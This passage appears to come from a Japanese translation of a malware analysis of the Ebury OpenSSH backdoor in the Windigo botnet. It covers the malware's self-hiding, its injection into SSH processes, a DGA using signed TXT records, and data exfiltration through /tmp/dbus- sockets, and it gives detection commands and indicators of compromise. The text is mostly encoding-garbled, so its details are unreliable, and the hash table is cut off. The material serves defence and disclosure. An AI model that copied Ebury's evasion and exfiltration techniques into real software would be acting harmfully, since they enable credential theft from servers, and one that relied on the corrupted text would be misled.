[root@c2093ca76055 tls]# ldconfig
[root@c2093ca76055 tls]# ls -l
total 0
[root@c2093ca76055 tls]# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f7b89349000)
[root@c2093ca76055 tls]# ls -l /lib64/libkeyutils.so.1
lrwxrwxrwx 1 root root 18 Oct 18 13:25 /lib64/libkeyutils.so.1 -> libkeyutils.so.1.5
tls
ãLinuxããŒãããŒããŒæ©èœã§äœ¿çšãããŸãã ãã®ãããCPUã远å ã®ã³ãã³ãã»ããããµããŒãããŠããå Žåããã®ãã£ã¬ã¯ããªã«ããã³ãã³ãã¯ãéåžžã®ãã³ãã³ããããé«ãåªå
床ãååŸããŸãã
ãããã«
Maxim Senahã®
鮿ã«ãããããããWindigoããããããã¯åŒãç¶ãæ©èœããŸãã Linuxããããããã®ã³ã¢ã³ã³ããŒãã³ãã§ããEburyã¯ãå€ãã®éèŠãªæ¹åãç²åŸããŸããã çŸåšã圌ã¯èªå·±ãã¹ãã³ã°æè¡ãšOpenSSHé¢é£ããã»ã¹ãžã®æ°ããæ³šå
¥æ¹æ³ã䜿çšããŠããŸãã ããã«ãæ°ãããã¡ã€ã³çæã¢ã«ãŽãªãºã ïŒDGAïŒã䜿çšããŠãæ»æè
ã®ç§å¯ããŒã§çœ²åãããæå¹ãªTXTãã¡ã€ã³ã¬ã³ãŒããæ€çŽ¢ããŸããããã«ã¯ãããŒã¿åéãµãŒããŒã®IPã¢ãã¬ã¹ãå«ãŸããŸãã 眲åãããããŒã¿ã®åå©çšãé²ãããã«æå¹æéã远å ãããåæã®è©Šè¡ãé²ãã®ã«åœ¹ç«ã¡ãŸãã Windigoã®ãªãã¬ãŒã¿ãŒã¯ãå
¬éãããŠããäŸµå®³ææšã宿çã«ç¢ºèªãããœãããŠã§ã¢ãæ€åºãããªãããã«èª¿æŽããŸãã ããç¥ãããŠããIoCã䜿çšããŠã·ã¹ãã ã®ææã倿ããéã«ã¯ããããèæ
®ã«å
¥ããå¿
èŠããããŸããå
¬éãæ©ããã°æ©ãã»ã©ããã§ã«å€ããªã£ãŠããå¯èœæ§ãé«ããªããŸãã
䟵害ã€ã³ãžã±ãŒã¿
ãã®ã»ã¯ã·ã§ã³ã§ã¯ãäŸµå®³ã®ææšãå
¬éããŸããããã¯ãEburyã®ææ°ããŒãžã§ã³ã倿ããã®ã«åœ¹ç«ã¡ãŸãã ã³ãã¥ããã£ãã·ã¹ãã ã®ææã倿ã§ããããã«æ¯æŽããŸãããå®å
šã§ãããšã¯äž»åŒµããŸããã
Eburyã¯çŸåšãUNIXãœã±ããã䜿çšããŠå€éšããŒã¿çé£ããã»ã¹ãšéä¿¡ããŠããŸãã ã»ãšãã©ã®å Žåããœã±ããåã¯ã
/tmp/dbus-
ãã§å§ãŸããŸãã å®éã®
dbus
ã¯ãåæ§ã®æ¹æ³ã§ãœã±ãããäœæã§ããŸãã ãã ããEburyã¯æ£åœãª
dbus
é¢é£ããªãããã»ã¹ãä»ããŠãããè¡ããŸãã æ¬¡ã®ã³ãã³ãã®çµæããœã±ããã®å Žåãããã¯çãããã§ãã
$ lsof -U | grep -F @/tmp/dbus- | grep -v ^dbus
以äžã¯ãEburyãããŒã¿ããªãŒã¯ããããã«äœ¿çšããããšãããã£ãŠããããã»ã¹ã®ãªã¹ãã§ãã
-ç£æ»æžã¿
-crond
-ã¢ãã¯ãã³
-arpd
-éã
-rsyslogd
-udevd
-systemd-udevd
-atd
-ãã¹ãå
-åæ
CentOS / Redhatã§ã¯ã
/lib/tls/
ãŸãã¯
/lib64/tls/
libkeyutils.so*
ãã¡ã€ã«ãååšããããš
/lib64/tls/
ã§ãã
objdump -x libkeyutils.so.1
ïŒãŸãã¯
readelf -d libkeyutils.so.1
ïŒãå®è¡ãããšãELFãã¡ã€ã«ã®åçããããŒã»ã¯ã·ã§ã³ã衚瀺ãããŸãã libcãŸãã¯libdl以å€ã®NEEDEDã¿ã°ïŒã¿ã€ã1ïŒãæã€ãã®ã¯çãããããã«èŠããŸãã
$ objdump -x /lib64/libkeyutils.so.1 | grep NEEDED | grep -v -F -e libdl.so -e libc.so
ã䜿ãã®ãã·ã³ãã«ãŒãã¹ããŒã¹ãŠãŒã¶ãŒã¹ããŒã¹ãæã€EburyããŒãžã§ã³ã«ææããŠããå Žåãããã倿ããæ¹æ³ã¯ãããããããŸãã Eburyã¯ãåçãªã³ã«ãŒ
LD_PRELOAD
ã·ã¹ãã 倿°ã䜿çšããŠèªèº«ãå®è£
ãããããå¥ã®ã·ã¹ãã 倿°ã䜿çšããŠåçãªã³ã«ãŒããã»ã¹ãæ€åºã§ããŸãã
libkeyutils
ã¹ãã§ãªãããã»ã¹ã«ããŒããããšãã·ã¹ãã ãã«ãŒãããã察å¿ããŒãžã§ã³ã®Eburyã«ææããŠããå¯èœæ§ãé«ããªããŸãã æ¬¡ã®ã³ãã³ããçµæãè¿ãå Žåããããçãããã§ãïŒ
$ LD_DEBUG=symbols /bin/true 2>&1| grep libkeyutils
ææãããã·ã³ãæ€åºããå ŽåãWindigoã¯è¿œå ã®ãã«ãŠã§ã¢ãã€ã³ã¹ããŒã«ããããšããã
ãããã·ã¹ãã ã
å®å
šã«åã€ã³ã¹ããŒã«ããããšããå§ãããŸãã Eburyã«ãã£ãŠäŸµå®³ããããã·ã³ã¯ãä»ã®ãã«ãŠã§ã¢ã«ææããå¯èœæ§ããããŸãã ãŸãããã¹ãŠã®ãŠãŒã¶ãŒè³æ Œæ
å ±ãšSSHããŒãå±éºã«ãããããŠããããšãèæ
®ããŠãã ãã-
ãããããã¹ãŠå€æŽããŠãã ãã ã
衚2. Eburyé¢é£ããã·ã¥